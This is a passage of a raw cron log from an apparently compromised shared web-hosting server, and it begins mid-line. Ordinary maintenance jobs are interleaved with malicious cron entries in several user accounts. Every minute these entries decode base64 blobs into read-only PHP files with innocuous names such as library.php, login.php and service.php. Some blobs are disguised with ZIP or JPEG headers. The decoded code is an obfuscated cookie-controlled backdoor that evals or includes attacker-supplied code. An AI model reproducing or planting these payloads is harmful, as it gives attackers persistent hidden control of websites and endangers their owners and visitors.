kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:04:02 medusa CROND[29992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:04:02 medusa CROND[29994]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:04:02 medusa CROND[29993]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:04:02 medusa CROND[29995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:04:02 medusa CROND[29996]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:04:02 medusa CROND[30000]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:04:02 medusa CROND[30015]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:04:02 medusa CROND[30016]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:04:02 medusa CROND[30017]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:04:02 medusa CROND[30019]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:04:02 medusa CROND[30018]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:05:01 medusa CROND[13853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 15:05:02 medusa CROND[14026]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 15:05:02 medusa CROND[14030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:05:02 medusa CROND[14031]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 15:05:02 medusa CROND[14032]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 15:05:02 medusa CROND[14038]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:05:02 medusa CROND[14041]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 15:05:02 medusa CROND[14042]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:05:02 medusa CROND[14043]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:05:02 medusa CROND[14045]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:05:02 medusa CROND[14044]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 15:05:02 medusa CROND[14047]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:05:02 medusa CROND[14050]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:05:02 medusa CROND[14049]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:05:02 medusa CROND[14054]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 15:05:02 medusa CROND[14055]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 15:05:02 medusa CROND[14048]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 15:05:02 medusa CROND[14068]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:05:02 medusa CROND[14077]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:05:02 medusa CROND[14079]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:05:02 medusa CROND[14083]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:05:02 medusa CROND[14075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:05:02 medusa CROND[14084]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 15:05:02 medusa CROND[14069]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 15:06:02 medusa CROND[663]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:06:02 medusa CROND[672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:06:02 medusa CROND[673]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:06:02 medusa CROND[675]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:06:02 medusa CROND[677]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:06:02 medusa CROND[678]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
